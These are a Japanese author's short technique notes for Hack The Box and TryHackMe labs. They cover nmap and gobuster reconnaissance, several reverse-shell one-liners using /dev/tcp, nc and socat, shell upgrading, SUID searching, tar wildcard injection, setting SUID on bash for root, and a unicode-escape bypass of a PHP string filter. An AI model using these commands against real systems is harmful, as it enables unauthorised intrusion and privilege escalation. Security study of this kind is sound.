Open13

Hack The Box, Try Hack Meで使用する技術メモ

rikotekirikoteki

対象ホスト上で動いているサービスのポート、サービス名、バージョンを探索する

$ sudo nmap -sV {IP_ADDRESS}

※管理者権限がない場合はデフォルトでTCP Connect()スキャンになるので相手側のログに残る事に注意

rikotekirikoteki

対象WEBアプリケーションのパスを列挙する
使用したワードリストのワードにマッチするURLの列挙

$ gobuster dir -u {URL} -w {WORDLIST_PATH} 

※Kali Linuxの場合、ワードリストは /usr/share/wordlists/にある

rikotekirikoteki

対象WEBアプリケーションのvhostを探索する

$ gobuster vhost -u {URL} -w {WORDLIST_PATH}
rikotekirikoteki

Linux → LinuxへのReverse Shell

$ bash -c 'exec 5<>/dev/tcp/{ip}/{port}; sh <&5 >&5'
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {IP} {PORT} >/tmp/f

ttyの場合

Attacker
stty raw -echo && socat file:$(tty),raw,unlink-close=0 tcp-listen:5555
Victim
script -c 'bash -i' /dev/null 9<>/dev/tcp/localhost/5555 <&9 >&9 2>&9

Reference
https://ukky3.hatenablog.com/entry/20080420/1208672083

rikotekirikoteki

Interactive Shellの獲得

spawn shell list

script -qc /bin/bash /dev/null
python -c "import pty; pty.spawn('/bin/bash')"
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'

perl  -> exec "/bin/sh";
ruby -> exec "/bin/sh"
IRB  -> exec "/bin/sh"
lua   -> os.execute('/bin/sh')
vi     -> !bash
vi     -> set shell=/bin/bash:shell
nmap -> tmp=`mktemp`;echo "/bin/bash" > $tmp; nmap --script=$tmp 
# プロセスを生成して制御端末を現在のプロセスの標準入出力に接続
$ python -c "import pty; pty.spawn('/bin/bash')"
$ export TERM=xterm

# Ctrl+ZでSIGSTPシグナルを送信し、ncでリッスンしているプロセスを停止する
$ ^Z
zsh: suspended  nc -lvnp ****

$ stty raw -echo;fg

# Shellがぶっ壊れてたら下記を実行する
$ stty sane

Reference
https://fahmifj.medium.com/get-a-fully-interactive-reverse-shell-b7e8d6f5b1c1

rikotekirikoteki

SUIDが設定されているファイルの探索

$ find / -perm -u=s -type f 2>/dev/null | xargs ls -l
rikotekirikoteki

ncでファイル送信

# 受信側
$ nc -lnvp {port} > {filename}

# 送信側
$ nc {ip} {port} < {filename}
rikotekirikoteki

pythonでshell生成

python -c "import os; os.system('/bin/sh -p')"

※ownerがrootでSUIDが設定されているPythonならroot shellが取得可能

rikotekirikoteki

tarを使用したwildcard injection

root権限で動いてるshell script中に

$ tar cvf /path/to/archive *

のような処理がある場合、tarが実行されるフォルダに『--checkpoint=1』と『--checkpoint-action=exec=/bin/sh』というファイルを作成してからshell scriptを実行することで、wildcardが展開され、最終的に下記のようなコマンドがshellに渡され、shell scriptを実行する権限で任意のコマンドを実行できる。

$ tar cvf /path/to/archive --checkpoint=1 --checkpoint-action=exec=/bin/sh

※--checkpointはデフォルトが10のため、アーカイブ対象ファイル数が10未満の場合、--checkpoint-actionが発火しない。そのため1を設定している。

wildcard injectionが可能なコマンドは他にもある。

コマンド オプション 実行出来る攻撃
chown --reference=FILE ファイル、フォルダの所有者を任意のユーザーに変更
chmod --reference=FILE 任意のパーミッション設定
rsync --rsh=COMMAND --rsync-path=PROGRAM 任意コマンド実行
rikotekirikoteki

rootでSUID設定

root権限でコマンド実行できるならreverse shellよりこっちのがいい?

$ chmod +s /bin/bash
$ /bin/bash -p
rikotekirikoteki

JSONをデコードする前にfilterをかけている場合、JSONにユニコードエスケープした文字列を挿入する事でBypassできる。

例えば以下のようなフィルターを実装している場合、

$query = file_get_contents("php://input");

$filter_list = [
  "php",
  "fil",
  "dat",
  "zip",
  "pha",
  "exp",
  "/",
  ".",
];

// ここで文字列フィルター
foreach ($filter_list as $filter) {
  if(stripos($query, $filter) !== false) {
    exit("Filtered!");
  }
}

// ここでJSONをデコード
json_decode($query, true)
// 以下で何らかの処理

本来であればJSONデコード→文字列filterという順序で実装しなければいけないが、

上記だと文字列filter→JSONデコードをしているので文字列をユニコードに変換してあげればfilterをBypassできる。
例えばLFIでphpファイルを扱いたい場合、上記の『php』文字列のフィルターは下記でBypassできる。

// 『.』と『p』をユニコードエスケープ
"index\u002Eph\u0070"